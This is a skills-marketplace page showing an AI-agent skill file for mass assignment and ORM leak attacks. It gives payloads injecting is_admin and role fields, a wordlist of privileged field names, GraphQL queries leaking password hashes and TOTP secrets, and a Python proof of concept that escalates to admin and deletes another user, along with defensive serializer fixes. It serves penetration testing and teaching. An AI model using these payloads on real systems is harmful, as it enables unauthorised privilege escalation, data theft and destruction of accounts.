Skip to main content

mass-assignment

Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 03:12
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
mass-assignment
description
Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.
metadata
{"when_to_use":"mass assignment orm leak strong params permit attributes role is_admin","mitre_attack":"T1190, T1078","subdomain":"authorization","upstream_ref":"skills/_corpus/payloads/Mass Assignment/"}
# Mass Assignment + ORM Leak API endpoints that bind request JSON straight to model `update()` / `create()` without an allowlist can be coerced into setting admin fields (`is_admin`, `role`, `verified`, etc). ## 1. Detect ```bash # Capture a legitimate update request PATCH /api/users/me {"name": "Alice"} # Try adding common privileged fields PATCH /api/users/me {"name": "Alice", "is_admin": true, "role": "admin", "verified": true, "balance": 999999, "permissions": ["*"], "isStaff": true, "membership_level": "premium", "tier": "enterprise"} ``` Re-fetch own profile. If any of the injected fields persists with attacker-set value → mass assignment. ## 2. Common field names to try ``` is_admin isAdmin admin superuser is_staff isStaff staff role roles permission permissions scope scopes group groups verified email_verified isVerified approved banned is_banned balance credits points reputation tier membership_level plan subscription created_at email user_id uuid external_id organization_id password password_hash ``` ## 3. Framework-specific patterns ### Rails (legacy, pre-strong-params) `User.create(params[:user])` → all params mass-assigned. Rails 4+ enforces `params.require(:user).permit(:name, :email)`. If permit list is too broad, mass assignment. ### Django REST Framework `UserSerializer(instance, data=request.data, partial=True).save()` → all declared fields settable. Bug: developer adds `is_staff` to serializer fields by mistake. ### Express / Mongoose ```js User.findOneAndUpdate({_id: req.params.id}, req.body) // → any req.body field becomes a $set. Catastrophic. ``` ### Spring Boot `@RequestBody User u` → Jackson binds all settable properties. If `User` has setter for `role`, attacker can set it. ### Go / Echo / Gin `c.Bind(&user)` → same pattern. ## 4. ORM Leak — the response side Sometimes the **response** serializer leaks fields the request can't set: ```bash GET /api/users/123 { "id": 123, "name": "Alice", "email": "alice@target.com", "password_hash": "$2a$12$...", ← leak! "totp_secret": "JBSW...", ← leak! "stripe_customer_id": "cus_...", "internal_notes": "VIP customer" } ``` Or via GraphQL field expansion: ```graphql query { user(id: 123) { id name email passwordHash totpSecret } } ``` ## 5. Tools - Burp Intruder w/ wordlist of common privileged field names - Manual exploration in dev tools — note ALL fields the app sees, try setting each ## 6. PoC ```python import requests # Step 1: Register normal account r = requests.post(f"{TARGET}/register", json={ "username": "attacker", "password": "test123", "is_admin": True, # try "role": "admin", # try }) # Step 2: Login + check sess = requests.Session() sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"}) me = sess.get(f"{TARGET}/api/users/me").json() assert me.get("is_admin") == True # boom # Step 3: Use admin powers sess.delete(f"{TARGET}/api/users/2") # delete another user → confirm admin ``` ## 7. Severity | Bug | Severity | |---|---| | Mass assignment to `is_admin` / `role` | Critical 9.8 | | Mass assignment to `balance` / `credits` | Critical 9.0 | | Mass assignment to `email_verified` | High 7-8 (chains to ATO) | | ORM leak of password_hash | Critical 9.8 | | ORM leak of TOTP secret | Critical 9.8 | | ORM leak of internal notes / PII | High 7-8 | ## 8. Defender ```python # Django REST Framework — explicit serializer fields, read_only_fields class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['name', 'email'] # whitelist read_only_fields = ['id', 'created_at', 'is_admin', 'role'] # Rails — strong params def user_params params.require(:user).permit(:name, :email) end # General: NEVER serialize entire model directly. Always project. ``` ## Cross-references - Upstream catalog: `skills/_corpus/payloads/Mass Assignment/` + `ORM Leak/` - API misconfig: `skills/exploit/web/methodology/` (when added) ## Known exemplars - GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper. - Multiple Shopify / Atlassian / GitLab bounties for missing strong params - 2023 GraphQL mass-introspection-leak campaigns
View on GitHub